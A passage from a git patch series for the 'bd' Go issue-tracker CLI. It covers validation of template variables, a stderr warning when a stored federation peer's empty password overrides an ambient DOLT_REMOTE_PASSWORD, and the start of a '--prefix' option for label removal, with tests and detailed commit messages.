w molWriter, subgraph *TemplateSubgr issueAssignee = opts.Assignee } + // Every field substituted below - and issueAssignee above - is one a + // --var can reach, so substitutedIssueFields must name it too - that + // read side is what checkUnknownVars uses to decide a supplied name is + // usable. newIssue := &types.Issue{ // ID will be set below based on bonding options Title: substituteVariables(oldIssue.Title, opts.Vars), diff --git a/cmd/bd/wisp.go b/cmd/bd/wisp.go index ea5ff1887..32ced536e 100644 --- a/cmd/bd/wisp.go +++ b/cmd/bd/wisp.go @@ -270,7 +270,7 @@ func runWispCreateCore(cmd *cobra.Command, args []string) error { vars = applyVariableDefaults(vars, subgraph) if err := checkRequiredVars(subgraph, vars); err != nil { - return HandleErrorWithHint(err.Error(), fmt.Sprintf("Provide them with: --var %s=", firstMissingVar(subgraph, vars))) + return handleVarErrorWithHint(err, firstMissingVar(subgraph, vars)) } if dryRun { @@ -302,7 +302,7 @@ func checkRequiredVars(subgraph *TemplateSubgraph, vars map[string]string) error if len(missingVars) > 0 { return fmt.Errorf("missing required variables: %s", strings.Join(missingVars, ", ")) } - return nil + return checkUnknownVars(subgraph, nil, vars) } func firstMissingVar(subgraph *TemplateSubgraph, vars map[string]string) string { @@ -998,12 +998,12 @@ func runWispPurgeClosed(ctx context.Context, dryRun bool, force bool, excludeTyp func init() { // Wisp command flags (for direct create: bd mol wisp ) - wispCmd.Flags().StringArray("var", []string{}, "Variable substitution (key=value)") + wispCmd.Flags().StringArray("var", []string{}, "Variable substitution (key=value); a name the proto cannot consume is an error") wispCmd.Flags().Bool("dry-run", false, "Preview what would be created") wispCmd.Flags().Bool("root-only", false, "Create only the root issue (no child step issues)") // Wisp create command flags (kept for backwards compat: bd mol wisp create ) - wispCreateCmd.Flags().StringArray("var", []string{}, "Variable substitution (key=value)") + wispCreateCmd.Flags().StringArray("var", []string{}, "Variable substitution (key=value); a name the proto cannot consume is an error") wispCreateCmd.Flags().Bool("dry-run", false, "Preview what would be created") wispCreateCmd.Flags().Bool("root-only", false, "Create only the root issue (no child step issues)") diff --git a/cmd/bd/wisp_proxied_server.go b/cmd/bd/wisp_proxied_server.go index ab9d78798..edc727ea8 100644 --- a/cmd/bd/wisp_proxied_server.go +++ b/cmd/bd/wisp_proxied_server.go @@ -80,7 +80,7 @@ func runWispCreateProxiedServer(ctx context.Context, in wispCreateInput) error { vars = applyVariableDefaults(vars, subgraph) if err := checkRequiredVars(subgraph, vars); err != nil { - return HandleErrorWithHint(err.Error(), fmt.Sprintf("Provide them with: --var %s=", firstMissingVar(subgraph, vars))) + return handleVarErrorWithHint(err, firstMissingVar(subgraph, vars)) } if in.dryRun { diff --git a/internal/formula/expand.go b/internal/formula/expand.go index dba11ffab..b276d2c39 100644 --- a/internal/formula/expand.go +++ b/internal/formula/expand.go @@ -17,6 +17,7 @@ package formula import ( "fmt" + "sort" "strings" ) @@ -194,6 +195,17 @@ func countStepIDs(steps []*Step, counts map[string]int) { // DefaultMaxExpansionDepth, an error is returned. // The vars parameter provides variable values for {varname} substitution. func expandStep(target *Step, template []*Step, depth int, vars map[string]string) ([]*Step, error) { + return expandStepWith(target, template, depth, func(s string) string { + return substituteVars(s, vars) + }) +} + +// expandStepWith is expandStep with the {varname} substitution supplied as +// subst, which receives every string the expansion substitutes variables into - +// after the {target} placeholders in it are replaced, where those apply. It +// exists so ExpansionVarRefs can see exactly those strings without keeping a +// second list of the fields that carry them. +func expandStepWith(target *Step, template []*Step, depth int, subst func(string) string) ([]*Step, error) { if depth > DefaultMaxExpansionDepth { return nil, fmt.Errorf("expansion depth limit exceeded: max %d levels (currently at %d) - step %q", DefaultMaxExpansionDepth, depth, target.ID) @@ -203,12 +215,12 @@ func expandStep(target *Step, template []*Step, depth int, vars map[string]strin for _, tmpl := range template { expanded := &Step{ - ID: substituteVars(substituteTargetPlaceholders(tmpl.ID, target), vars), - Title: substituteVars(substituteTargetPlaceholders(tmpl.Title, target), vars), - Description: substituteVars(substituteTargetPlaceholders(tmpl.Description, target), vars), + ID: subst(substituteTargetPlaceholders(tmpl.ID, target)), + Title: subst(substituteTargetPlaceholders(tmpl.Title, target)), + Description: subst(substituteTargetPlaceholders(tmpl.Description, target)), Type: tmpl.Type, Priority: tmpl.Priority, - Assignee: substituteVars(tmpl.Assignee, vars), + Assignee: subst(tmpl.Assignee), SourceFormula: tmpl.SourceFormula, // Preserve source from template SourceLocation: tmpl.SourceLocation, // Preserve source location } @@ -217,7 +229,7 @@ func expandStep(target *Step, template []*Step, depth int, vars map[string]strin if len(tmpl.Labels) > 0 { expanded.Labels = make([]string, len(tmpl.Labels)) for i, l := range tmpl.Labels { - expanded.Labels[i] = substituteVars(substituteTargetPlaceholders(l, target), vars) + expanded.Labels[i] = subst(substituteTargetPlaceholders(l, target)) } } @@ -225,20 +237,20 @@ func expandStep(target *Step, template []*Step, depth int, vars map[string]strin if len(tmpl.DependsOn) > 0 { expanded.DependsOn = make([]string, len(tmpl.DependsOn)) for i, d := range tmpl.DependsOn { - expanded.DependsOn[i] = substituteVars(substituteTargetPlaceholders(d, target), vars) + expanded.DependsOn[i] = subst(substituteTargetPlaceholders(d, target)) } } if len(tmpl.Needs) > 0 { expanded.Needs = make([]string, len(tmpl.Needs)) for i, n := range tmpl.Needs { - expanded.Needs[i] = substituteVars(substituteTargetPlaceholders(n, target), vars) + expanded.Needs[i] = subst(substituteTargetPlaceholders(n, target)) } } // Handle children recursively with depth tracking if len(tmpl.Children) > 0 { - children, err := expandStep(target, tmpl.Children, depth+1, vars) + children, err := expandStepWith(target, tmpl.Children, depth+1, subst) if err != nil { return nil, err } @@ -422,13 +434,7 @@ func MaterializeExpansion(f *Formula, targetID string, vars map[string]string) e return nil } - target := &Step{ - ID: targetID, - Title: f.Formula, - Description: f.Description, - } - - expandedSteps, err := expandStep(target, f.Template, 0, vars) + expandedSteps, err := expandStep(materializeTarget(f, targetID), f.Template, 0, vars) if err != nil { return fmt.Errorf("materializing expansion %q: %w", f.Formula, err) } @@ -437,6 +443,57 @@ func MaterializeExpansion(f *Formula, targetID string, vars map[string]string) e return nil } +// materializeTarget is the synthetic target step a standalone expansion +// formula's template is expanded against. +func materializeTarget(f *Formula, targetID string) *Step { + return &Step{ + ID: targetID, + Title: f.Formula, + Description: f.Description, + } +} + +// ExpansionVarRefs returns the names of the {varname} placeholders that +// MaterializeExpansion(f, targetID, vars) substitutes from vars, deduplicated +// and sorted; nil when f is not an expansion formula with a Template. +// +// Those names are consumed while the template is expanded, so none of them +// survives into the steps MaterializeExpansion produces: a caller that needs +// to know which variables a standalone expansion formula can consume has to +// ask before materializing it. The answer comes from running that same +// expansion with a substitution that records names instead of replacing them, +// so it covers every field the expansion substitutes into - including a name +// that {target.description} pulls in from the formula's own description. +// +// Unlike MaterializeExpansion, this does not skip a formula that already has +// Steps: FilterStepsByCondition can remove all of them first, and then the +// template is materialized after all, so the names are reported either way. +func ExpansionVarRefs(f *Formula, targetID string) []string { + if f.Type != TypeExpansion || len(f.Template) == 0 { + return nil + } + + seen := make(map[string]bool) + record := func(s string) string { + for _, m := range rangeVarPattern.FindAllStringSubmatch(s, -1) { + seen[m[1]] = true + } + return s + } + if _, err := expandStepWith(materializeTarget(f, targetID), f.Template, 0, record); err != nil { + // The template cannot be expanded at all; MaterializeExpansion + // reports why. + return nil + } + + names := make([]string, 0, len(seen)) + for name := range seen { + names = append(names, name) + } + sort.Strings(names) + return names +} + // ApplyInlineExpansions applies Step.Expand fields to inline expansions. // Steps with the Expand field set are replaced by the referenced expansion template. // The step's ExpandVars are passed as variable overrides to the expansion. diff --git a/internal/formula/expand_test.go b/internal/formula/expand_test.go index 11a4b4f2b..63b2bb968 100644 --- a/internal/formula/expand_test.go +++ b/internal/formula/expand_test.go @@ -1197,3 +1197,77 @@ func TestMaterializeExpansion(t *testing.T) { } }) } + +func TestExpansionVarRefs(t *testing.T) { + t.Run("reports every name the expansion substitutes", func(t *testing.T) { + f := &Formula{ + Formula: "deploy", + Description: "Ship {release}", + Type: TypeExpansion, + Template: []*Step{ + { + ID: "{target}.build-{env}", + Title: "Build {component} for {target.title}", + Description: "{target.description}", + Assignee: "{owner}", + Labels: []string{"team:{team}"}, + DependsOn: []string{"{target}.prep-{stage}"}, + Needs: []string{"{target.id}.gate-{gate}"}, + // Neither field is carried into the expanded step, so + // nothing in them is ever substituted. + Notes: "{notes_only}", + Condition: "{{condition_only}}", + Children: []*Step{ + {ID: "{target}.child", Title: "Work on {{feature}}"}, + }, + }, + }, + } + + // {target}, {target.id} and {target.title} are replaced before any + // variable is, so none of them is a name; {target.description} pulls + // in the formula's description, whose {release} IS substituted. The + // single-brace pattern also matches inside {{feature}}, so a + // --var feature=x is consumed there too. + got := strings.Join(ExpansionVarRefs(f, "main"), " ") + if want := "component env feature gate owner release stage team"; got != want { + t.Errorf("ExpansionVarRefs() = %q, want %q", got, want) + } + if f.Steps != nil { + t.Errorf("ExpansionVarRefs materialized the formula: Steps = %v", f.Steps) + } + }) + + t.Run("reported even when the formula already has steps", func(t *testing.T) { + // MaterializeExpansion skips this formula as it stands, but condition + // filtering can remove every step first, and then the template is + // materialized after all. + f := &Formula{ + Formula: "exp", + Type: TypeExpansion, + Steps: []*Step{{ID: "only", Title: "Only", Condition: "{{flag}}"}}, + Template: []*Step{{ID: "{target}.build", Title: "Build {component}"}}, + } + + got := strings.Join(ExpansionVarRefs(f, "main"), " ") + if want := "component"; got != want { + t.Errorf("ExpansionVarRefs() = %q, want %q", got, want) + } + }) + + t.Run("nil unless the formula is an expansion with a template", func(t *testing.T) { + workflow := &Formula{ + Formula: "wf", + Type: TypeWorkflow, + Template: []*Step{{ID: "{target}.build", Title: "Build {component}"}}, + } + if got := ExpansionVarRefs(workflow, "main"); got != nil { + t.Errorf("workflow formula: ExpansionVarRefs() = %v, want nil", got) + } + + noTemplate := &Formula{Formula: "exp", Type: TypeExpansion} + if got := ExpansionVarRefs(noTemplate, "main"); got != nil { + t.Errorf("expansion without a template: ExpansionVarRefs() = %v, want nil", got) + } + }) +} From db1ddbd7235f037bbd3449c1d326dcd1dc897dc0 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 05:11:50 -0700 Subject: [PATCH 027/325] feat(embeddeddolt): warn when a stored peer suppresses an ambient DOLT_REMOTE_PASSWORD (#6997) * fix(embeddeddolt): use stored peer credentials for federation sync bd federation add-peer promises stored credentials are used automatically when syncing, but the embedded Fetch/PushTo/PullFrom paths read only the DOLT_REMOTE_USER environment variable, so first sync against any authenticated Dolt server presented the wrong identity. This is the peer-path remainder of the class fixed for default remotes in #2543. withPeerAuth mirrors server mode's withPeerCredentials: peer-store lookup first, environment fallback for unknown remotes and credential-free peers (federation sync iterates every dolt remote, so non-peer remotes must keep their behavior). Stored credentials override the process-wide DOLT_REMOTE_USER/DOLT_REMOTE_PASSWORD pair as a unit under a federationEnvMutex, mirroring package dolt: the in-process Dolt engine reads them from the process environment, so the override is serialized and both variables are restored (or re-unset) afterward, including on callback failure. A stored empty field unsets its variable rather than inheriting an ambient value. Fixes #5080 Agent-Signature: claude-code-claude-fable-5-unknown-reasoning on behalf of Michael Pursifull * docs(embeddeddolt): clarify federationEnvMutex is separate from package dolt's lock Review nit on #5085: the 'mirroring' phrasing read as if the two packages shared one mutex. State explicitly that they are separate locks and why per-package serialization suffices. * feat(embeddeddolt): warn when a stored peer suppresses an ambient DOLT_REMOTE_PASSWORD A peer saved with a username but an empty password (Enter at the interactive prompt) deliberately suppresses an ambient DOLT_REMOTE_PASSWORD, the intended security default from the withPeerAuth unit rule. A setup that used to authenticate off the environment then fails with no hint about why (#5085 review, follow-up 4). Emit one stderr line when the resolved peer has a username, no stored password, and DOLT_REMOTE_PASSWORD set, naming the peer and how to store a password. Fired under federationEnvMutex before overrideEnv rewrites the pair, so the value read is the ambient one and not another peer's installed password. No credential behavior changes. Tests pin the exact rendered line and the three silent cases (stored password present, ambient unset, ambient empty), plus a direct-call row pinning the all-empty-peer boundary. Refs #5080 * merge: main into fix/peer-empty-password-warning Catches the branch up 329 commits. No conflicts: main did not touch internal/storage/embeddeddolt/federation.go or its credentials test, which are the only two files this branch changes. Verified on darwin/arm64: gofmt and go vet clean, and go test ./internal/storage/embeddeddolt/ passes. That package needs ICU headers to build here, so it was run with CGO_CPPFLAGS pointed at the brew icu4c prefix; without them the cgo dependency fails to compile on upstream main too. Refs: gastownhall/beads#5215 (review) * fix(embeddeddolt): keep the tier and prompt for the password in the remedy Review fixup for #5215 (adopt-pr review loop, iteration 1). Both review lanes approved (scorecard 974/1000, no blockers or majors). This fixes the two gated minors, both in the add-peer command the new warning prints. - Change Impact: the printed command had no --sovereignty. add-peer upserts the whole row (issueops/federation.go: ON DUPLICATE KEY UPDATE ... sovereignty = VALUES(sovereignty)), so running it as printed on a T1-T4 peer cleared the tier (#5213, still open). The command now includes the peer's stored tier when it has one. The PR body says the --password form avoids #5213, but it does not: step 6 of #5213's own repro is add-peer with --password and without --sovereignty, and it clears the tier. The control below reproduces that. - Security Surface: the command put the secret on the command line ('--password '), where it ends up in shell history and in /proc//cmdline. add-peer already prompts for the password without echo when --user is given without --password, so the warning now points to the prompt, as the verifyPeerRemoteURL message in this file already does. The test gets a new case that pins the tiered wording verbatim, and the existing open-pwd pin is updated. Not changed: - Readability nit (shell-quote the username): doltutil.ShellQuote is only used by this package's go_test today. Using it here would add a go_library dependency and a BUILD.bazel deps change for a nit that does not gate. - Architectural Consistency (the server-mode internal/storage/dolt backend prints no such warning; does not gate): left for finalize to file as a follow-up bead. Validation (ambient BEADS_*/BD_*/DOLT_* unset, TMPDIR=/tmp): - go test -tags gms_pure_go -count=1 -run TestWithPeerAuth ./internal/storage/embeddeddolt/: all 8 tests pass, including all 8 subtests of the warning test. - Mutation: removing the branch that adds the tier fails only the new tiered subtest. The file was restored byte-identical. - E2E with bd built from this tree: a T2 peer that stores a username and an empty password, used with DOLT_REMOTE_PASSWORD set in the environment, prints one warning. Running the printed command and typing a password at the prompt keeps sovereignty T2 and stores the password (checked with dolt sql), and the warning no longer appears. Control: the old '--password' command on a T3 peer stores the password but clears the tier. - go vet -tags gms_pure_go ./internal/storage/embeddeddolt/, gofmt -l, git diff --check: clean. No imports or files were added, so there is no Bazel drift. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Michael Pursifull Co-authored-by: Steve Yegge Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 Co-authored-by: Eddie the Engineer --- internal/storage/embeddeddolt/federation.go | 40 +++++ .../federation_credentials_test.go | 149 ++++++++++++++++++ 2 files changed, 189 insertions(+) diff --git a/internal/storage/embeddeddolt/federation.go b/internal/storage/embeddeddolt/federation.go index 016538d5a..86c9aa016 100644 --- a/internal/storage/embeddeddolt/federation.go +++ b/internal/storage/embeddeddolt/federation.go @@ -197,6 +197,8 @@ func (s *EmbeddedDoltStore) withPeerAuth(ctx context.Context, peer string, fn fu federationEnvMutex.Lock() defer federationEnvMutex.Unlock() + warnStoredPeerSuppressesAmbientPassword(peer, p) + restoreUser := overrideEnv("DOLT_REMOTE_USER", p.Username) restorePassword := overrideEnv("DOLT_REMOTE_PASSWORD", p.Password) defer func() { @@ -207,6 +209,44 @@ func (s *EmbeddedDoltStore) withPeerAuth(ctx context.Context, peer string, fn fu return fn(p.Username) } +// federationWarnWriter receives the peer-credential diagnostics. Defaults to +// os.Stderr, matching the unconditional warnings this package writes from +// store.go; overridable in tests. +var federationWarnWriter io.Writer = os.Stderr + +// warnStoredPeerSuppressesAmbientPassword emits one line when a peer stores a +// username but no password while DOLT_REMOTE_PASSWORD is set. Suppressing the +// ambient password is the intended security default, but a setup that used to +// authenticate off the environment then fails with no hint about why (GH#5085 +// review). Call with federationEnvMutex held and before overrideEnv rewrites +// the pair, so the value read is the ambient one and not another peer's +// installed password. +func warnStoredPeerSuppressesAmbientPassword(peer string, p *storage.FederationPeer) { + // Defensive: withPeerAuth returns before this guard when both fields are empty. + if p.Username == "" || p.Password != "" { + return + } + // An ambient empty value is treated as no ambient password: unsetting it + // changes nothing the user could be puzzled by. + if os.Getenv("DOLT_REMOTE_PASSWORD") == "" { + return + } + // add-peer upserts the whole row, so a re-run without --sovereignty + // clears a stored tier (GH#5213): carry the stored tier into the + // suggested command. The password is left to add-peer's no-echo prompt + // rather than suggested as an argument that lands in shell history. + sovereignty := "" + if p.Sovereignty != "" { + sovereignty = " --sovereignty " + p.Sovereignty + } + fmt.Fprintf(federationWarnWriter, + "Warning: peer %[1]q stores a username with an empty password, "+ + "which overrides the ambient DOLT_REMOTE_PASSWORD for this operation; "+ + "store a password by re-running 'bd federation add-peer %[1]s "+ + "--user %[2]s%[3]s' and entering it at the prompt.\n", + peer, p.Username, sovereignty) +} + // verifyPeerRemoteURL fails closed when the live remote named peer does not // carry the URL stored on the federation peer row. AddRemoteIfNotExists // preserves an existing same-name remote regardless of its URL, so the name diff --git a/internal/storage/embeddeddolt/federation_credentials_test.go b/internal/storage/embeddeddolt/federation_credentials_test.go index 147b893db..27d68cc02 100644 --- a/internal/storage/embeddeddolt/federation_credentials_test.go +++ b/internal/storage/embeddeddolt/federation_credentials_test.go @@ -3,6 +3,7 @@ package embeddeddolt import ( + "bytes" "crypto/rand" "database/sql" "errors" @@ -20,6 +21,14 @@ import ( func newPeerAuthTestStore(t *testing.T) *EmbeddedDoltStore { t.Helper() ctx := t.Context() + + // Several cases here deliberately build the state that warns about a + // suppressed ambient password; keep that off the test log unless a test + // installs its own writer to assert on it. + prevWarn := federationWarnWriter + federationWarnWriter = io.Discard + t.Cleanup(func() { federationWarnWriter = prevWarn }) + beadsDir := filepath.Join(t.TempDir(), ".beads") store, err := Open(ctx, beadsDir, "fedauth", "main") if err != nil { @@ -145,6 +154,146 @@ func TestWithPeerAuth(t *testing.T) { } } +func TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword(t *testing.T) { + // Pinned verbatim, not matched by substring: the peer name, the username, + // the stored tier, and the Warning: prefix are the parts an operator + // reads, so a wording change has to be made here deliberately. + const wantOpenPwdWarning = `Warning: peer "open-pwd" stores a username with an empty password, ` + + `which overrides the ambient DOLT_REMOTE_PASSWORD for this operation; ` + + `store a password by re-running 'bd federation add-peer open-pwd ` + + `--user peeruser' and entering it at the prompt.` + "\n" + const wantTieredWarning = `Warning: peer "tiered" stores a username with an empty password, ` + + `which overrides the ambient DOLT_REMOTE_PASSWORD for this operation; ` + + `store a password by re-running 'bd federation add-peer tiered ` + + `--user peeruser --sovereignty T2' and entering it at the prompt.` + "\n" + + cases := []struct { + name string + peer *storage.FederationPeer + remote string + ambient string + ambientSet bool + // directPeer, when set, calls the warning helper itself instead of + // going through withPeerAuth, pinning the helper's own boundary. + directPeer *storage.FederationPeer + wantLine string + }{ + { + name: "username with empty stored password suppresses ambient password", + peer: &storage.FederationPeer{ + Name: "open-pwd", + RemoteURL: "https://peer.example/peerdb", + Username: "peeruser", + }, + remote: "open-pwd", ambient: "envpass", ambientSet: true, + wantLine: wantOpenPwdWarning, + }, + { + // add-peer upserts sovereignty along with the credentials, so the + // suggested re-run must carry the stored tier or it clears it. + name: "suggested re-add keeps the stored sovereignty tier", + peer: &storage.FederationPeer{ + Name: "tiered", + RemoteURL: "https://peer.example/peerdb", + Username: "peeruser", + Sovereignty: "T2", + }, + remote: "tiered", ambient: "envpass", ambientSet: true, + wantLine: wantTieredWarning, + }, + { + name: "stored password suppresses nothing the operator can act on", + peer: &storage.FederationPeer{ + Name: "team", + RemoteURL: "https://peer.example/peerdb", + Username: "peeruser", + Password: "peerpass", + }, + remote: "team", ambient: "envpass", ambientSet: true, + }, + { + name: "no ambient password to suppress", + peer: &storage.FederationPeer{ + Name: "open-pwd", + RemoteURL: "https://peer.example/peerdb", + Username: "peeruser", + }, + remote: "open-pwd", + }, + { + name: "empty ambient password reads as no ambient password", + peer: &storage.FederationPeer{ + Name: "open-pwd", + RemoteURL: "https://peer.example/peerdb", + Username: "peeruser", + }, + remote: "open-pwd", ambient: "", ambientSet: true, + }, + { + name: "peer without a username keeps the password puzzle out of scope", + peer: &storage.FederationPeer{ + Name: "open-usr", + RemoteURL: "https://peer.example/peerdb", + Password: "peerpass", + }, + remote: "open-usr", ambient: "envpass", ambientSet: true, + }, + { + name: "unknown remote keeps the environment fallback", + remote: "not-a-peer", ambient: "envpass", ambientSet: true, + }, + { + // withPeerAuth returns before the helper when a peer stores + // neither field, so a direct call is the only way to reach the + // helper's defensive empty-username clause. + name: "helper called directly with an all-empty peer stays silent", + directPeer: &storage.FederationPeer{}, + remote: "empty-peer", ambient: "envpass", ambientSet: true, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + ctx := t.Context() + + t.Setenv("DOLT_REMOTE_USER", "envuser") + t.Setenv("DOLT_REMOTE_PASSWORD", tc.ambient) + if !tc.ambientSet { + _ = os.Unsetenv("DOLT_REMOTE_PASSWORD") + } + + var warnings bytes.Buffer + captureWarnings := func() { + // Installed after any store: newPeerAuthTestStore points the + // writer at io.Discard for the rest of the suite. + prev := federationWarnWriter + federationWarnWriter = &warnings + t.Cleanup(func() { federationWarnWriter = prev }) + } + + if tc.directPeer != nil { + captureWarnings() + warnStoredPeerSuppressesAmbientPassword(tc.remote, tc.directPeer) + } else { + store := newPeerAuthTestStore(t) + if tc.peer != nil { + if err := store.AddFederationPeer(ctx, tc.peer); err != nil { + t.Fatalf("AddFederationPeer: %v", err) + } + } + captureWarnings() + if err := store.withPeerAuth(ctx, tc.remote, func(string) error { return nil }); err != nil { + t.Fatalf("withPeerAuth: %v", err) + } + } + + if got := warnings.String(); got != tc.wantLine { + t.Errorf("warning = %q, want %q", got, tc.wantLine) + } + }) + } +} + func TestWithPeerAuth_RestoresEnvWhenCallbackFails(t *testing.T) { ctx := t.Context() store := newPeerAuthTestStore(t) From 65a4831ef7921e4f7b9762c90299c054ebaadc53 Mon Sep 17 00:00:00 2001 From: Athos Bernardes <79493098+athosmartins@users.noreply.github.com> Date: Thu, 1 Oct 2026 09:13:53 -0300 Subject: [PATCH 028/325] feat(label): add --prefix to bd label remove (#5384) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(label): add --prefix to bd label remove bd list/bd ready already support --label-pattern/--label-regex for finding issues by label shape. label remove had no equivalent for stripping a whole label family in one call: callers had to fetch an issue's labels themselves and issue one exact-match "bd label remove" per matching label. --prefix resolves the matching labels per issue (labelsWithPrefix, a plain strings.HasPrefix filter over the labels already returned by GetLabels) and removes them in a single transaction. Implemented for both the embedded store path and the proxied-server (bd serve) path, wisp-aware in the latter via workapi.GetIssueOrWisp — gc bd in Gas Town runs proxied against a shared Dolt server, so an embedded-only implementation would not have been usable there. TDD: pure-function unit test (TestLabelsWithPrefix), plus embedded and proxied CLI-level integration test cases mirroring the existing label_remove_batch/add_list_remove conventions. Full existing cmd/bd label suite re-run green (24/24 embedded subtests) for regressions. The new proxied integration subtest could not be run locally (this environment has no Docker, which the testcontainers-go Dolt harness requires) but compiles clean under go vet and golangci-lint and mirrors the existing, working labelMutateProxied/runLabelListProxiedServer structure exactly. Ref: ga-r8haw (gastownhall Gas Town city, Proposal 1). * fix(label): address review feedback on --prefix (tense, arg validation, help text) steveyegge's PR review (2026-08-08) asked for three small fixes before merge, none of which the two subsequent rebases (2026-08-29, 2026-09-07) touched: 1. Error-string tense: both label-remove failure paths (applyLabelEdit, shared with label add; removeLabelsByPrefix) rendered "label removed"/"added" on a FAILURE, claiming success on the very branch that reports an error. Added labelOperationGerund() and used it on both failure paths ("removing"/"adding"); the success-path constants (labelOperationAdded/Removed, used by reportLabelEdit's JSON status and human-readable verb) are untouched — they were already correct. 2. Reject --prefix combined with a label-shaped positional explicitly: `bd label remove bd-1 stale-label --prefix x` used to hand ALL positionals to resolveLabelIssueIDs, which (a) failed with a confusing "could not resolve issue ID" error whose hint recommends the exact comma-separated label syntax --prefix does not take, and (b) left a live (if unlikely) risk that ResolvePartialID's fuzziness could silently resolve a label-shaped string to an unrelated real issue. Added resolveIssueIDsForPrefix, used only by the --prefix branch of labelRemoveCmd's RunE, which fails with an explicit "cannot combine --prefix with label arguments" instead. 3. Sharp-edge guard: per the reviewer's "at minimum" option, expanded the --prefix flag help text to name the blast radius (a short prefix can remove multiple unrelated label families in one transaction) and point at `bd set-state` for state-dimension labels (launch:, scalegate:), which --prefix bypasses without the event-bead audit trail bd set-state provides. TDD: new TestLabelOperationGerund (pure unit) and label_remove_prefix_rejects_label_shaped_positional (embedded CLI integration, mirrors the existing label_remove_prefix* subtests) — both confirmed RED against the pre-fix code (temporarily reverted, re-run, restored) before GREEN. Full cmd/bd label suite re-run green: 25/25 embedded subtests (24 pre-existing + 1 new), no regressions. go vet + gofmt clean. Ref: ga-r8haw (gastownhall Gas Town city, Proposal 1 — addresses the 2026-08-08 review verdict "MERGE AFTER FIXES (small ones)" on PR #5384). Co-Authored-By: Claude Sonnet 5 * chore(bazel): add label_prefix_test.go to cmd/bd go_test srcs cmd/bd/BUILD.bazel enumerates go_test srcs explicitly, so this PR's new label_prefix_test.go was absent from the list. bazel.yml's "BUILD files in sync" step runs `make bazel-sync` and exits 1 on any resulting drift (.github/workflows/bazel.yml:382-406), and that job feeds pr.yml's required CI_GATE_REQUIRED contexts (BAZEL, BAZEL_TEST, BAZEL_PURE, ...), so the branch would red a required gate. The bazel lane did not exist at the merge base the PR's green CI run was built on, so no existing green covers it. Generated with `make bazel-sync` (gazelle); re-running it is a no-op. Co-Authored-By: Claude Opus 5 * fix(label): report --prefix removals from the write result, not the pre-read set Review fixes for the adopted PR. The gating finding is the reporting contract on the new --prefix path. MAJOR - removeLabelsByPrefix discarded the UpdateResult (`if _, uerr := lifecycle.Update(...)`) and then printed one `status: "removed"` row and one `✓ Removed` line per entry in the pre-read snapshot, so it asserted label removals that had not happened. That is the GH#5988 false-confirmation defect base commit 0b9e644ba9 removed from the sibling path three commits earlier, reintroduced on a new surface that never called the handler which fixes it. The path now builds a labelEditOutcome per issue from the returned UpdateResult and reports through reportLabelEdit, the same handler the plain path uses, so an edit that wrote nothing reports "unchanged" and the human "was not on" line instead of a removal. Per-label attribution stays best-effort on the same terms applyLabelEdit documents (the Get is outside the write transaction); what is no longer possible is claiming a removal for an edit that wrote nothing at all. labelEditOutcome carries its own label set, because --prefix resolves a different set per issue while applyLabelEdit repeats one caller-supplied set. reportLabelEdit therefore reads outcome.labels and its shared `labels` parameter is gone; it had one caller before this change and has two now. resolveIssueIDsForPrefix collapses duplicate ids. Naming one issue twice used to yield two "removed" rows per label deterministically - the grouping map recorded the repeat once, but the report loops iterated the ungrouped pairs - which is the arm that needed no concurrency to reproduce. Minors from the same review: - cmd/bd/label.go:159 passed the past-tense `operation` constant into an error string, the anti-pattern this PR's own labelOperationGerund exists to remove; the site is byte-identical at base, so the PR did not introduce it, it shipped the remedy and applied it 13 lines below only. - resolveIssueIDsForPrefix prefixed EVERY resolution failure with "cannot combine --prefix with label arguments", blaming a lone typo'd id on an argument mistake the caller did not make. The hint is speculative, so it is now gated on len(issueIDs) > 1, matching resolveLabelIssueIDs' twin. - The --prefix help text claimed a short prefix "removes every match in one transaction", but a multi-issue call is one Update per issue and can land some and fail others - the partial application applyLabelEdit documents. Reworded to per-issue semantics, keeping the breadth caution. The same overclaim was in this PR's own CHANGELOG entry and is reworded there too. Tests: six subtests on TestEmbeddedLabel covering the surfaces that had no guard - the --json row shape, the no-match empty array, two issues with different matching sets, the duplicate-id arm, an already-removed re-run, and the lone-bad-id message. The duplicate-id case is the pin for the major: run against the pre-fix label.go it gets 4 rows for 2 labels. The re-run case is not a pin. A re-run matches nothing and takes the no-match branch before any write, so it passes against the pre-fix code too; the "unchanged" report it cannot reach is covered through the shared handler by the plain path's GH#5988 subtests. Verified at this head: cmd/bd TestEmbeddedLabel 36/36 subtests and TestProxiedServerLabel 22/22 PASS (BEADS_TEST_EMBEDDED_DOLT=1 and BEADS_TEST_PROXIED_SERVER=1, ambient BEADS_* scrubbed), TestLabelsWithPrefix 5/5, TestLabelOperationGerund 3/3, 0 FAIL and 0 SKIP; the GH#5988 discovery-suite regression checks for the plain path (TestDiscovery_LabelRemoveNonexistentSilentSuccess, TestDiscovery_LabelAddDuplicateReportsAdded) PASS; build, vet and gofmt clean; `make bazel-sync` produces no drift (no files added); and scripts/check-doc-flags.sh passes, including the CLI docs freshness gate. Measured complexity moved down where it changed: removeLabelsByPrefix cyclomatic 16 to 12 and cognitive 21 to 16; reportLabelEdit is unchanged at 12 and 25. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5 Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 12 ++ cmd/bd/BUILD.bazel | 1 + cmd/bd/label.go | 211 +++++++++++++++++++++-- cmd/bd/label_embedded_test.go | 171 ++++++++++++++++++ cmd/bd/label_prefix_test.go | 84 +++++++++ cmd/bd/label_proxied_integration_test.go | 14 ++ 6 files changed, 479 insertions(+), 14 deletions(-) create mode 100644 cmd/bd/label_prefix_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 28cbd3d10..3ebd55d64 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -748,6 +748,18 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 partial, and the count alone cannot tell the two apart. +- **`bd label remove --prefix` removes every label matching a prefix in one + call**, instead of requiring an exact label name per removal. `bd list`/`bd + ready` already supported `--label-pattern`/`--label-regex` for *finding* + issues by label shape; `label 